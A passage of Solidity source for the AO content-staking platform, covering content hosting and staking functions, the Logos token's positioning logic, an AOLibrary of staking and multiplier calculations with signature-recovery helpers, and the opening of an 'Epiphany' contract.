StoreContent(_content.creator, _content.contentId, _content.fileSize, _content.contentUsageType); return _content.contentId; } /** * @dev Add the distribution node info that hosts the content * @param _host the address of the host * @param _stakeId The ID of the staked content * @param _encChallenge The encrypted challenge string (PUBLIC KEY) of the content unique to the host * @param _contentDatKey The dat key of the content * @param _metadataDatKey The dat key of the content's metadata */ function _hostContent(address _host, bytes32 _stakeId, string _encChallenge, string _contentDatKey, string _metadataDatKey) internal { require (bytes(_encChallenge).length > 0); require (bytes(_contentDatKey).length > 0); require (bytes(_metadataDatKey).length > 0); require (stakedContentIndex[_stakeId] > 0); // Increment totalContentHosts totalContentHosts++; // Generate contentId bytes32 _contentHostId = keccak256(abi.encodePacked(this, _host, _stakeId)); ContentHost storage _contentHost = contentHosts[totalContentHosts]; // Make sure the node doesn't host the same content twice require (_contentHost.host == address(0)); _contentHost.contentHostId = _contentHostId; _contentHost.stakeId = _stakeId; _contentHost.host = _host; _contentHost.encChallenge = _encChallenge; _contentHost.contentDatKey = _contentDatKey; _contentHost.metadataDatKey = _metadataDatKey; contentHostIndex[_contentHostId] = totalContentHosts; emit HostContent(_contentHost.host, _contentHost.contentHostId, _contentHost.stakeId, _contentHost.contentDatKey, _contentHost.metadataDatKey); } /** * @dev actual staking the content * @param _stakeOwner the address that stake the content * @param _contentId The ID of the content * @param _networkIntegerAmount The integer amount of network token to stake * @param _networkFractionAmount The fraction amount of network token to stake * @param _denomination The denomination of the network token, i.e ao, kilo, mega, etc. * @param _primordialAmount The amount of primordial Token to stake * @param _profitPercentage The percentage of profit the stake owner's media will charge * @return the newly created staked content ID */ function _stakeContent(address _stakeOwner, bytes32 _contentId, uint256 _networkIntegerAmount, uint256 _networkFractionAmount, bytes8 _denomination, uint256 _primordialAmount, uint256 _profitPercentage) internal returns (bytes32) { // Increment totalStakedContents totalStakedContents++; // Generate stakeId bytes32 _stakeId = keccak256(abi.encodePacked(this, _stakeOwner, _contentId)); StakedContent storage _stakedContent = stakedContents[totalStakedContents]; // Make sure the node doesn't stake the same content twice require (_stakedContent.stakeOwner == address(0)); _stakedContent.stakeId = _stakeId; _stakedContent.contentId = _contentId; _stakedContent.stakeOwner = _stakeOwner; _stakedContent.profitPercentage = _profitPercentage; _stakedContent.active = true; _stakedContent.createdOnTimestamp = now; stakedContentIndex[_stakeId] = totalStakedContents; if (_denomination[0] != 0 && (_networkIntegerAmount > 0 || _networkFractionAmount > 0)) { _stakedContent.networkAmount = _treasury.toBase(_networkIntegerAmount, _networkFractionAmount, _denomination); require (_baseAO.stakeFrom(_stakeOwner, _stakedContent.networkAmount)); } if (_primordialAmount > 0) { _stakedContent.primordialAmount = _primordialAmount; // Primordial Token is the base AO Token _stakedContent.primordialWeightedMultiplier = _baseAO.weightedMultiplierByAddress(_stakedContent.stakeOwner); require (_baseAO.stakePrimordialTokenFrom(_stakedContent.stakeOwner, _primordialAmount, _stakedContent.primordialWeightedMultiplier)); } emit StakeContent(_stakedContent.stakeOwner, _stakedContent.stakeId, _stakedContent.contentId, _stakedContent.networkAmount, _stakedContent.primordialAmount, _stakedContent.primordialWeightedMultiplier, _stakedContent.profitPercentage, _stakedContent.createdOnTimestamp); return _stakedContent.stakeId; } /** * @dev Get setting variables * @return contentUsageType_aoContent Content Usage Type = AO Content * @return contentUsageType_creativeCommons Content Usage Type = Creative Commons * @return contentUsageType_taoContent Content Usage Type = T(AO) Content * @return taoContentState_submitted TAO Content State = Submitted * @return taoContentState_pendingReview TAO Content State = Pending Review * @return taoContentState_acceptedToTAO TAO Content State = Accepted to TAO */ function _getSettingVariables() internal view returns (bytes32, bytes32, bytes32, bytes32, bytes32, bytes32) { (,,,bytes32 contentUsageType_aoContent,) = _aoSetting.getSettingValuesByTAOName(settingTAOId, 'contentUsageType_aoContent'); (,,,bytes32 contentUsageType_creativeCommons,) = _aoSetting.getSettingValuesByTAOName(settingTAOId, 'contentUsageType_creativeCommons'); (,,,bytes32 contentUsageType_taoContent,) = _aoSetting.getSettingValuesByTAOName(settingTAOId, 'contentUsageType_taoContent'); (,,,bytes32 taoContentState_submitted,) = _aoSetting.getSettingValuesByTAOName(settingTAOId, 'taoContentState_submitted'); (,,,bytes32 taoContentState_pendingReview,) = _aoSetting.getSettingValuesByTAOName(settingTAOId, 'taoContentState_pendingReview'); (,,,bytes32 taoContentState_acceptedToTAO,) = _aoSetting.getSettingValuesByTAOName(settingTAOId, 'taoContentState_acceptedToTAO'); return ( contentUsageType_aoContent, contentUsageType_creativeCommons, contentUsageType_taoContent, taoContentState_submitted, taoContentState_pendingReview, taoContentState_acceptedToTAO ); } /** * @dev Check whether or not the content is of AO Content Usage Type * @param _contentId The ID of the content * @return true if yes. false otherwise */ function _isAOContentUsageType(bytes32 _contentId) internal view returns (bool) { (bytes32 _contentUsageType_aoContent,,,,,) = _getSettingVariables(); return contents[contentIndex[_contentId]].contentUsageType == _contentUsageType_aoContent; } } /** * @title Name */ contract Name is TAO { /** * @dev Constructor function */ constructor (string _name, address _originId, string _datHash, string _database, string _keyValue, bytes32 _contentId, address _vaultAddress) TAO (_name, _originId, _datHash, _database, _keyValue, _contentId, _vaultAddress) public { // Creating Name typeId = 1; } } contract Logos is TAOCurrency { NameTAOPosition internal _nameTAOPosition; // Mapping of a Name ID to the amount of Logos positioned by others to itself // address is the address of nameId, not the eth public address mapping (address => uint256) public positionFromOthers; // Mapping of Name ID to other Name ID and the amount of Logos positioned by itself mapping (address => mapping(address => uint256)) public positionToOthers; // Mapping of a Name ID to the total amount of Logos positioned by itself to others mapping (address => uint256) public totalPositionToOthers; // Mapping of Name ID to it's advocated TAO ID and the amount of Logos earned mapping (address => mapping(address => uint256)) public advocatedTAOLogos; // Mapping of a Name ID to the total amount of Logos earned from advocated TAO mapping (address => uint256) public totalAdvocatedTAOLogos; // Event broadcasted to public when `from` address position `value` Logos to `to` event PositionFrom(address indexed from, address indexed to, uint256 value); // Event broadcasted to public when `from` address unposition `value` Logos from `to` event UnpositionFrom(address indexed from, address indexed to, uint256 value); // Event broadcasted to public when `nameId` receives `amount` of Logos from advocating `taoId` event AddAdvocatedTAOLogos(address indexed nameId, address indexed taoId, uint256 amount); // Event broadcasted to public when Logos from advocating `taoId` is transferred from `fromNameId` to `toNameId` event TransferAdvocatedTAOLogos(address indexed fromNameId, address indexed toNameId, address indexed taoId, uint256 amount); /** * @dev Constructor function */ constructor(uint256 initialSupply, string tokenName, string tokenSymbol, address _nameTAOPositionAddress) TAOCurrency(initialSupply, tokenName, tokenSymbol) public { nameTAOPositionAddress = _nameTAOPositionAddress; _nameTAOPosition = NameTAOPosition(_nameTAOPositionAddress); } /** * @dev Check if `_taoId` is a TAO */ modifier isTAO(address _taoId) { require (AOLibrary.isTAO(_taoId)); _; } /** * @dev Check if `_nameId` is a Name */ modifier isName(address _nameId) { require (AOLibrary.isName(_nameId)); _; } /** * @dev Check if msg.sender is the current advocate of _id */ modifier onlyAdvocate(address _id) { require (_nameTAOPosition.senderIsAdvocate(msg.sender, _id)); _; } /***** PUBLIC METHODS *****/ /** * @dev Get the total sum of Logos for an address * @param _target The address to check * @return The total sum of Logos (own + positioned + advocated TAOs) */ function sumBalanceOf(address _target) public isNameOrTAO(_target) view returns (uint256) { return balanceOf[_target].add(positionFromOthers[_target]).add(totalAdvocatedTAOLogos[_target]); } /** * @dev `_from` Name position `_value` Logos onto `_to` Name * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to position * @return true on success */ function positionFrom(address _from, address _to, uint256 _value) public isName(_from) isName(_to) onlyAdvocate(_from) returns (bool) { require (_from != _to); // Can't position Logos to itself require (balanceOf[_from].sub(totalPositionToOthers[_from]) >= _value); // should have enough balance to position require (positionFromOthers[_to].add(_value) >= positionFromOthers[_to]); // check for overflows uint256 previousPositionToOthers = totalPositionToOthers[_from]; uint256 previousPositionFromOthers = positionFromOthers[_to]; uint256 previousAvailPositionBalance = balanceOf[_from].sub(totalPositionToOthers[_from]); positionToOthers[_from][_to] = positionToOthers[_from][_to].add(_value); totalPositionToOthers[_from] = totalPositionToOthers[_from].add(_value); positionFromOthers[_to] = positionFromOthers[_to].add(_value); emit PositionFrom(_from, _to, _value); assert(totalPositionToOthers[_from].sub(_value) == previousPositionToOthers); assert(positionFromOthers[_to].sub(_value) == previousPositionFromOthers); assert(balanceOf[_from].sub(totalPositionToOthers[_from]) <= previousAvailPositionBalance); return true; } /** * @dev `_from` Name unposition `_value` Logos from `_to` Name * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to unposition * @return true on success */ function unpositionFrom(address _from, address _to, uint256 _value) public isName(_from) isName(_to) onlyAdvocate(_from) returns (bool) { require (_from != _to); // Can't unposition Logos to itself require (positionToOthers[_from][_to] >= _value); uint256 previousPositionToOthers = totalPositionToOthers[_from]; uint256 previousPositionFromOthers = positionFromOthers[_to]; uint256 previousAvailPositionBalance = balanceOf[_from].sub(totalPositionToOthers[_from]); positionToOthers[_from][_to] = positionToOthers[_from][_to].sub(_value); totalPositionToOthers[_from] = totalPositionToOthers[_from].sub(_value); positionFromOthers[_to] = positionFromOthers[_to].sub(_value); emit UnpositionFrom(_from, _to, _value); assert(totalPositionToOthers[_from].add(_value) == previousPositionToOthers); assert(positionFromOthers[_to].add(_value) == previousPositionFromOthers); assert(balanceOf[_from].sub(totalPositionToOthers[_from]) >= previousAvailPositionBalance); return true; } /** * @dev Add `_amount` logos earned from advocating a TAO `_taoId` to its Advocate * @param _taoId The ID of the advocated TAO * @param _amount the amount to reward * @return true on success */ function addAdvocatedTAOLogos(address _taoId, uint256 _amount) public inWhitelist isTAO(_taoId) returns (bool) { require (_amount > 0); address _nameId = _nameTAOPosition.getAdvocate(_taoId); advocatedTAOLogos[_nameId][_taoId] = advocatedTAOLogos[_nameId][_taoId].add(_amount); totalAdvocatedTAOLogos[_nameId] = totalAdvocatedTAOLogos[_nameId].add(_amount); emit AddAdvocatedTAOLogos(_nameId, _taoId, _amount); return true; } /** * @dev Transfer logos earned from advocating a TAO `_taoId` from `_fromNameId` to `_toNameId` * @param _fromNameId The ID of the Name that sends the Logos * @param _toNameId The ID of the Name that receives the Logos * @param _taoId The ID of the advocated TAO * @return true on success */ function transferAdvocatedTAOLogos(address _fromNameId, address _toNameId, address _taoId) public inWhitelist isName(_fromNameId) isName(_toNameId) isTAO(_taoId) returns (bool) { require (_nameTAOPosition.nameIsAdvocate(_toNameId, _taoId)); require (advocatedTAOLogos[_fromNameId][_taoId] > 0); require (totalAdvocatedTAOLogos[_fromNameId] >= advocatedTAOLogos[_fromNameId][_taoId]); uint256 _amount = advocatedTAOLogos[_fromNameId][_taoId]; advocatedTAOLogos[_fromNameId][_taoId] = advocatedTAOLogos[_fromNameId][_taoId].sub(_amount); totalAdvocatedTAOLogos[_fromNameId] = totalAdvocatedTAOLogos[_fromNameId].sub(_amount); advocatedTAOLogos[_toNameId][_taoId] = advocatedTAOLogos[_toNameId][_taoId].add(_amount); totalAdvocatedTAOLogos[_toNameId] = totalAdvocatedTAOLogos[_toNameId].add(_amount); emit TransferAdvocatedTAOLogos(_fromNameId, _toNameId, _taoId, _amount); return true; } } /** * @title AOLibrary */ library AOLibrary { using SafeMath for uint256; uint256 constant private _MULTIPLIER_DIVISOR = 10 ** 6; // 1000000 = 1 uint256 constant private _PERCENTAGE_DIVISOR = 10 ** 6; // 100% = 1000000 /** * @dev Check whether or not the given TAO ID is a TAO * @param _taoId The ID of the TAO * @return true if yes. false otherwise */ function isTAO(address _taoId) public view returns (bool) { return (_taoId != address(0) && bytes(TAO(_taoId).name()).length > 0 && TAO(_taoId).originId() != address(0) && TAO(_taoId).typeId() == 0); } /** * @dev Check whether or not the given Name ID is a Name * @param _nameId The ID of the Name * @return true if yes. false otherwise */ function isName(address _nameId) public view returns (bool) { return (_nameId != address(0) && bytes(TAO(_nameId).name()).length > 0 && Name(_nameId).originId() != address(0) && Name(_nameId).typeId() == 1); } /** * @dev Checks if the calling contract address is The AO * OR * If The AO is set to a Name/TAO, then check if calling address is the Advocate * @param _sender The address to check * @param _theAO The AO address * @param _nameTAOPositionAddress The address of NameTAOPosition * @return true if yes, false otherwise */ function isTheAO(address _sender, address _theAO, address _nameTAOPositionAddress) public view returns (bool) { return (_sender == _theAO || ( (isTAO(_theAO) || isName(_theAO)) && _nameTAOPositionAddress != address(0) && NameTAOPosition(_nameTAOPositionAddress).senderIsAdvocate(_sender, _theAO) ) ); } /** * @dev Return the divisor used to correctly calculate percentage. * Percentage stored throughout AO contracts covers 4 decimals, * so 1% is 10000, 1.25% is 12500, etc */ function PERCENTAGE_DIVISOR() public pure returns (uint256) { return _PERCENTAGE_DIVISOR; } /** * @dev Return the divisor used to correctly calculate multiplier. * Multiplier stored throughout AO contracts covers 6 decimals, * so 1 is 1000000, 0.023 is 23000, etc */ function MULTIPLIER_DIVISOR() public pure returns (uint256) { return _MULTIPLIER_DIVISOR; } /** * @dev Check whether or not content creator can stake a content based on the provided params * @param _treasuryAddress AO treasury contract address * @param _networkIntegerAmount The integer amount of network token to stake * @param _networkFractionAmount The fraction amount of network token to stake * @param _denomination The denomination of the network token, i.e ao, kilo, mega, etc. * @param _primordialAmount The amount of primordial Token to stake * @param _baseChallenge The base challenge string (PUBLIC KEY) of the content * @param _encChallenge The encrypted challenge string (PUBLIC KEY) of the content unique to the host * @param _contentDatKey The dat key of the content * @param _metadataDatKey The dat key of the content's metadata * @param _fileSize The size of the file * @param _profitPercentage The percentage of profit the stake owner's media will charge * @return true if yes. false otherwise */ function canStake(address _treasuryAddress, uint256 _networkIntegerAmount, uint256 _networkFractionAmount, bytes8 _denomination, uint256 _primordialAmount, string _baseChallenge, string _encChallenge, string _contentDatKey, string _metadataDatKey, uint256 _fileSize, uint256 _profitPercentage) public view returns (bool) { return ( bytes(_baseChallenge).length > 0 && bytes(_encChallenge).length > 0 && bytes(_contentDatKey).length > 0 && bytes(_metadataDatKey).length > 0 && _fileSize > 0 && (_networkIntegerAmount > 0 || _networkFractionAmount > 0 || _primordialAmount > 0) && _stakeAmountValid(_treasuryAddress, _networkIntegerAmount, _networkFractionAmount, _denomination, _primordialAmount, _fileSize) == true && _profitPercentage <= _PERCENTAGE_DIVISOR ); } /** * @dev Check whether or the requested unstake amount is valid * @param _treasuryAddress AO treasury contract address * @param _networkIntegerAmount The integer amount of the network token * @param _networkFractionAmount The fraction amount of the network token * @param _denomination The denomination of the the network token * @param _primordialAmount The amount of primordial token * @param _stakedNetworkAmount The current staked network token amount * @param _stakedPrimordialAmount The current staked primordial token amount * @param _stakedFileSize The file size of the staked content * @return true if can unstake, false otherwise */ function canUnstakePartial( address _treasuryAddress, uint256 _networkIntegerAmount, uint256 _networkFractionAmount, bytes8 _denomination, uint256 _primordialAmount, uint256 _stakedNetworkAmount, uint256 _stakedPrimordialAmount, uint256 _stakedFileSize) public view returns (bool) { if ( (_denomination.length > 0 && (_networkIntegerAmount > 0 || _networkFractionAmount > 0) && _stakedNetworkAmount < AOTreasury(_treasuryAddress).toBase(_networkIntegerAmount, _networkFractionAmount, _denomination) ) || _stakedPrimordialAmount < _primordialAmount || ( _denomination.length > 0 && (_networkIntegerAmount > 0 || _networkFractionAmount > 0) && (_stakedNetworkAmount.sub(AOTreasury(_treasuryAddress).toBase(_networkIntegerAmount, _networkFractionAmount, _denomination)).add(_stakedPrimordialAmount.sub(_primordialAmount)) < _stakedFileSize) ) || ( _denomination.length == 0 && _networkIntegerAmount == 0 && _networkFractionAmount == 0 && _primordialAmount > 0 && _stakedPrimordialAmount.sub(_primordialAmount) < _stakedFileSize) ) { return false; } else { return true; } } /** * @dev Check whether the network token and/or primordial token is adequate to pay for existing staked content * @param _treasuryAddress AO treasury contract address * @param _isAOContentUsageType whether or not the content is of AO Content usage type * @param _fileSize The size of the file * @param _stakedAmount The total staked amount * @param _networkIntegerAmount The integer amount of the network token * @param _networkFractionAmount The fraction amount of the network token * @param _denomination The denomination of the the network token * @param _primordialAmount The amount of primordial token * @return true when the amount is sufficient, false otherwise */ function canStakeExisting( address _treasuryAddress, bool _isAOContentUsageType, uint256 _fileSize, uint256 _stakedAmount, uint256 _networkIntegerAmount, uint256 _networkFractionAmount, bytes8 _denomination, uint256 _primordialAmount ) public view returns (bool) { if (_isAOContentUsageType) { return AOTreasury(_treasuryAddress).toBase(_networkIntegerAmount, _networkFractionAmount, _denomination).add(_primordialAmount).add(_stakedAmount) >= _fileSize; } else { return AOTreasury(_treasuryAddress).toBase(_networkIntegerAmount, _networkFractionAmount, _denomination).add(_primordialAmount).add(_stakedAmount) == _fileSize; } } /** * @dev Check whether the network token is adequate to pay for existing staked content * @param _treasuryAddress AO treasury contract address * @param _price The price of the content * @param _networkIntegerAmount The integer amount of the network token * @param _networkFractionAmount The fraction amount of the network token * @param _denomination The denomination of the the network token * @return true when the amount is sufficient, false otherwise */ function canBuy(address _treasuryAddress, uint256 _price, uint256 _networkIntegerAmount, uint256 _networkFractionAmount, bytes8 _denomination) public view returns (bool) { return AOTreasury(_treasuryAddress).toBase(_networkIntegerAmount, _networkFractionAmount, _denomination) >= _price; } /** * @dev Calculate the new weighted multiplier when adding `_additionalPrimordialAmount` at `_additionalWeightedMultiplier` to the current `_currentPrimordialBalance` at `_currentWeightedMultiplier` * @param _currentWeightedMultiplier Account's current weighted multiplier * @param _currentPrimordialBalance Account's current primordial token balance * @param _additionalWeightedMultiplier The weighted multiplier to be added * @param _additionalPrimordialAmount The primordial token amount to be added * @return the new primordial weighted multiplier */ function calculateWeightedMultiplier(uint256 _currentWeightedMultiplier, uint256 _currentPrimordialBalance, uint256 _additionalWeightedMultiplier, uint256 _additionalPrimordialAmount) public pure returns (uint256) { if (_currentWeightedMultiplier > 0) { uint256 _totalWeightedTokens = (_currentWeightedMultiplier.mul(_currentPrimordialBalance)).add(_additionalWeightedMultiplier.mul(_additionalPrimordialAmount)); uint256 _totalTokens = _currentPrimordialBalance.add(_additionalPrimordialAmount); return _totalWeightedTokens.div(_totalTokens); } else { return _additionalWeightedMultiplier; } } /** * @dev Return the address that signed the message when a node wants to become a host * @param _callingContractAddress the address of the calling contract * @param _message the message that was signed * @param _v part of the signature * @param _r part of the signature * @param _s part of the signature * @return the address that signed the message */ function getBecomeHostSignatureAddress(address _callingContractAddress, string _message, uint8 _v, bytes32 _r, bytes32 _s) public pure returns (address) { bytes32 _hash = keccak256(abi.encodePacked(_callingContractAddress, _message)); return ecrecover(_hash, _v, _r, _s); } /** * @dev Return the address that signed the TAO content state update * @param _callingContractAddress the address of the calling contract * @param _contentId the ID of the content * @param _taoId the ID of the TAO * @param _taoContentState the TAO Content State value, i.e Submitted, Pending Review, or Accepted to TAO * @param _v part of the signature * @param _r part of the signature * @param _s part of the signature * @return the address that signed the message */ function getUpdateTAOContentStateSignatureAddress(address _callingContractAddress, bytes32 _contentId, address _taoId, bytes32 _taoContentState, uint8 _v, bytes32 _r, bytes32 _s) public pure returns (address) { bytes32 _hash = keccak256(abi.encodePacked(_callingContractAddress, _contentId, _taoId, _taoContentState)); return ecrecover(_hash, _v, _r, _s); } /** * @dev Return the staking and earning information of a stake ID * @param _contentAddress The address of AOContent * @param _earningAddress The address of AOEarning * @param _stakeId The ID of the staked content * @return the network base token amount staked for this content * @return the primordial token amount staked for this content * @return the primordial weighted multiplier of the staked content * @return the total earning from staking this content * @return the total earning from hosting this content * @return the total The AO earning of this content */ function getContentMetrics(address _contentAddress, address _earningAddress, bytes32 _stakeId) public view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 networkAmount, uint256 primordialAmount, uint256 primordialWeightedMultiplier) = getStakingMetrics(_contentAddress, _stakeId); (uint256 totalStakeEarning, uint256 totalHostEarning, uint256 totalTheAOEarning) = getEarningMetrics(_earningAddress, _stakeId); return ( networkAmount, primordialAmount, primordialWeightedMultiplier, totalStakeEarning, totalHostEarning, totalTheAOEarning ); } /** * @dev Return the staking information of a stake ID * @param _contentAddress The address of AOContent * @param _stakeId The ID of the staked content * @return the network base token amount staked for this content * @return the primordial token amount staked for this content * @return the primordial weighted multiplier of the staked content */ function getStakingMetrics(address _contentAddress, bytes32 _stakeId) public view returns (uint256, uint256, uint256) { (,, uint256 networkAmount, uint256 primordialAmount, uint256 primordialWeightedMultiplier,,,) = AOContent(_contentAddress).stakedContentById(_stakeId); return ( networkAmount, primordialAmount, primordialWeightedMultiplier ); } /** * @dev Return the earning information of a stake ID * @param _earningAddress The address of AOEarning * @param _stakeId The ID of the staked content * @return the total earning from staking this content * @return the total earning from hosting this content * @return the total The AO earning of this content */ function getEarningMetrics(address _earningAddress, bytes32 _stakeId) public view returns (uint256, uint256, uint256) { return ( AOEarning(_earningAddress).totalStakedContentStakeEarning(_stakeId), AOEarning(_earningAddress).totalStakedContentHostEarning(_stakeId), AOEarning(_earningAddress).totalStakedContentTheAOEarning(_stakeId) ); } /** * @dev Calculate the primordial token multiplier on a given lot * Total Primordial Mintable = T * Total Primordial Minted = M * Starting Multiplier = S * Ending Multiplier = E * To Purchase = P * Multiplier for next Lot of Amount = (1 - ((M + P/2) / T)) x (S-E) * * @param _purchaseAmount The amount of primordial token intended to be purchased * @param _totalPrimordialMintable Total Primordial token intable * @param _totalPrimordialMinted Total Primordial token minted so far * @param _startingMultiplier The starting multiplier in (10 ** 6) * @param _endingMultiplier The ending multiplier in (10 ** 6) * @return The multiplier in (10 ** 6) */ function calculatePrimordialMultiplier(uint256 _purchaseAmount, uint256 _totalPrimordialMintable, uint256 _totalPrimordialMinted, uint256 _startingMultiplier, uint256 _endingMultiplier) public pure returns (uint256) { if (_purchaseAmount > 0 && _purchaseAmount <= _totalPrimordialMintable.sub(_totalPrimordialMinted)) { /** * Let temp = M + (P/2) * Multiplier = (1 - (temp / T)) x (S-E) */ uint256 temp = _totalPrimordialMinted.add(_purchaseAmount.div(2)); /** * Multiply multiplier with _MULTIPLIER_DIVISOR/_MULTIPLIER_DIVISOR to account for 6 decimals * so, Multiplier = (_MULTIPLIER_DIVISOR/_MULTIPLIER_DIVISOR) * (1 - (temp / T)) * (S-E) * Multiplier = ((_MULTIPLIER_DIVISOR * (1 - (temp / T))) * (S-E)) / _MULTIPLIER_DIVISOR * Multiplier = ((_MULTIPLIER_DIVISOR - ((_MULTIPLIER_DIVISOR * temp) / T)) * (S-E)) / _MULTIPLIER_DIVISOR * Take out the division by _MULTIPLIER_DIVISOR for now and include in later calculation * Multiplier = (_MULTIPLIER_DIVISOR - ((_MULTIPLIER_DIVISOR * temp) / T)) * (S-E) */ uint256 multiplier = (_MULTIPLIER_DIVISOR.sub(_MULTIPLIER_DIVISOR.mul(temp).div(_totalPrimordialMintable))).mul(_startingMultiplier.sub(_endingMultiplier)); /** * Since _startingMultiplier and _endingMultiplier are in 6 decimals * Need to divide multiplier by _MULTIPLIER_DIVISOR */ return multiplier.div(_MULTIPLIER_DIVISOR); } else { return 0; } } /** * @dev Calculate the bonus percentage of network token on a given lot * Total Primordial Mintable = T * Total Primordial Minted = M * Starting Network Token Bonus Multiplier = Bs * Ending Network Token Bonus Multiplier = Be * To Purchase = P * AO Bonus % = B% = (1 - ((M + P/2) / T)) x (Bs-Be) * * @param _purchaseAmount The amount of primordial token intended to be purchased * @param _totalPrimordialMintable Total Primordial token intable * @param _totalPrimordialMinted Total Primordial token minted so far * @param _startingMultiplier The starting Network token bonus multiplier * @param _endingMultiplier The ending Network token bonus multiplier * @return The bonus percentage */ function calculateNetworkTokenBonusPercentage(uint256 _purchaseAmount, uint256 _totalPrimordialMintable, uint256 _totalPrimordialMinted, uint256 _startingMultiplier, uint256 _endingMultiplier) public pure returns (uint256) { if (_purchaseAmount > 0 && _purchaseAmount <= _totalPrimordialMintable.sub(_totalPrimordialMinted)) { /** * Let temp = M + (P/2) * B% = (1 - (temp / T)) x (Bs-Be) */ uint256 temp = _totalPrimordialMinted.add(_purchaseAmount.div(2)); /** * Multiply B% with _PERCENTAGE_DIVISOR/_PERCENTAGE_DIVISOR to account for 6 decimals * so, B% = (_PERCENTAGE_DIVISOR/_PERCENTAGE_DIVISOR) * (1 - (temp / T)) * (Bs-Be) * B% = ((_PERCENTAGE_DIVISOR * (1 - (temp / T))) * (Bs-Be)) / _PERCENTAGE_DIVISOR * B% = ((_PERCENTAGE_DIVISOR - ((_PERCENTAGE_DIVISOR * temp) / T)) * (Bs-Be)) / _PERCENTAGE_DIVISOR * Take out the division by _PERCENTAGE_DIVISOR for now and include in later calculation * B% = (_PERCENTAGE_DIVISOR - ((_PERCENTAGE_DIVISOR * temp) / T)) * (Bs-Be) * But since Bs and Be are in 6 decimals, need to divide by _PERCENTAGE_DIVISOR * B% = (_PERCENTAGE_DIVISOR - ((_PERCENTAGE_DIVISOR * temp) / T)) * (Bs-Be) / _PERCENTAGE_DIVISOR */ uint256 bonusPercentage = (_PERCENTAGE_DIVISOR.sub(_PERCENTAGE_DIVISOR.mul(temp).div(_totalPrimordialMintable))).mul(_startingMultiplier.sub(_endingMultiplier)).div(_PERCENTAGE_DIVISOR); return bonusPercentage; } else { return 0; } } /** * @dev Calculate the bonus amount of network token on a given lot * AO Bonus Amount = B% x P * * @param _purchaseAmount The amount of primordial token intended to be purchased * @param _totalPrimordialMintable Total Primordial token intable * @param _totalPrimordialMinted Total Primordial token minted so far * @param _startingMultiplier The starting Network token bonus multiplier * @param _endingMultiplier The ending Network token bonus multiplier * @return The bonus percentage */ function calculateNetworkTokenBonusAmount(uint256 _purchaseAmount, uint256 _totalPrimordialMintable, uint256 _totalPrimordialMinted, uint256 _startingMultiplier, uint256 _endingMultiplier) public pure returns (uint256) { uint256 bonusPercentage = calculateNetworkTokenBonusPercentage(_purchaseAmount, _totalPrimordialMintable, _totalPrimordialMinted, _startingMultiplier, _endingMultiplier); /** * Since bonusPercentage is in _PERCENTAGE_DIVISOR format, need to divide it with _PERCENTAGE DIVISOR * when calculating the network token bonus amount */ uint256 networkTokenBonus = bonusPercentage.mul(_purchaseAmount).div(_PERCENTAGE_DIVISOR); return networkTokenBonus; } /** * @dev Calculate the maximum amount of Primordial an account can burn * _primordialBalance = P * _currentWeightedMultiplier = M * _maximumMultiplier = S * _amountToBurn = B * B = ((S x P) - (P x M)) / S * * @param _primordialBalance Account's primordial token balance * @param _currentWeightedMultiplier Account's current weighted multiplier * @param _maximumMultiplier The maximum multiplier of this account * @return The maximum burn amount */ function calculateMaximumBurnAmount(uint256 _primordialBalance, uint256 _currentWeightedMultiplier, uint256 _maximumMultiplier) public pure returns (uint256) { return (_maximumMultiplier.mul(_primordialBalance).sub(_primordialBalance.mul(_currentWeightedMultiplier))).div(_maximumMultiplier); } /** * @dev Calculate the new multiplier after burning primordial token * _primordialBalance = P * _currentWeightedMultiplier = M * _amountToBurn = B * _newMultiplier = E * E = (P x M) / (P - B) * * @param _primordialBalance Account's primordial token balance * @param _currentWeightedMultiplier Account's current weighted multiplier * @param _amountToBurn The amount of primordial token to burn * @return The new multiplier */ function calculateMultiplierAfterBurn(uint256 _primordialBalance, uint256 _currentWeightedMultiplier, uint256 _amountToBurn) public pure returns (uint256) { return _primordialBalance.mul(_currentWeightedMultiplier).div(_primordialBalance.sub(_amountToBurn)); } /** * @dev Calculate the new multiplier after converting network token to primordial token * _primordialBalance = P * _currentWeightedMultiplier = M * _amountToConvert = C * _newMultiplier = E * E = (P x M) / (P + C) * * @param _primordialBalance Account's primordial token balance * @param _currentWeightedMultiplier Account's current weighted multiplier * @param _amountToConvert The amount of network token to convert * @return The new multiplier */ function calculateMultiplierAfterConversion(uint256 _primordialBalance, uint256 _currentWeightedMultiplier, uint256 _amountToConvert) public pure returns (uint256) { return _primordialBalance.mul(_currentWeightedMultiplier).div(_primordialBalance.add(_amountToConvert)); } /** * @dev Get TAO Currency Balances given a nameId * @param _nameId The ID of the Name * @param _logosAddress The address of Logos * @param _ethosAddress The address of Ethos * @param _pathosAddress The address of Pathos * @return sum Logos balance of the Name ID * @return Ethos balance of the Name ID * @return Pathos balance of the Name ID */ function getTAOCurrencyBalances( address _nameId, address _logosAddress, address _ethosAddress, address _pathosAddress ) public view returns (uint256, uint256, uint256) { return ( Logos(_logosAddress).sumBalanceOf(_nameId), TAOCurrency(_ethosAddress).balanceOf(_nameId), TAOCurrency(_pathosAddress).balanceOf(_nameId) ); } /** * @dev Return the address that signed the data and nonce when validating signature * @param _callingContractAddress the address of the calling contract * @param _data the data that was signed * @param _nonce The signed uint256 nonce * @param _v part of the signature * @param _r part of the signature * @param _s part of the signature * @return the address that signed the message */ function getValidateSignatureAddress(address _callingContractAddress, string _data, uint256 _nonce, uint8 _v, bytes32 _r, bytes32 _s) public pure returns (address) { bytes32 _hash = keccak256(abi.encodePacked(_callingContractAddress, _data, _nonce)); return ecrecover(_hash, _v, _r, _s); } /***** Internal Methods *****/ /** * @dev Check whether the network token and/or primordial token is adequate to pay for the filesize * @param _treasuryAddress AO treasury contract address * @param _networkIntegerAmount The integer amount of network token to stake * @param _networkFractionAmount The fraction amount of network token to stake * @param _denomination The denomination of the network token, i.e ao, kilo, mega, etc. * @param _primordialAmount The amount of primordial Token to stake * @param _fileSize The size of the file * @return true when the amount is sufficient, false otherwise */ function _stakeAmountValid(address _treasuryAddress, uint256 _networkIntegerAmount, uint256 _networkFractionAmount, bytes8 _denomination, uint256 _primordialAmount, uint256 _fileSize) internal view returns (bool) { return AOTreasury(_treasuryAddress).toBase(_networkIntegerAmount, _networkFractionAmount, _denomination).add(_primordialAmount) >= _fileSize; } } contract Epiphany is TheAO { string public what; string public when; string public why; string public who; address public where; string public aSign; string public logos; constructor() public { what = 'The AO'; when = 'January 6th, 2019 a.d, year 1 a.c. Epiphany. An appearance or manifestation especially of a divine being. An illuminating discovery, realization, or disclosure.'; why = 'To Hear, See, and Speak 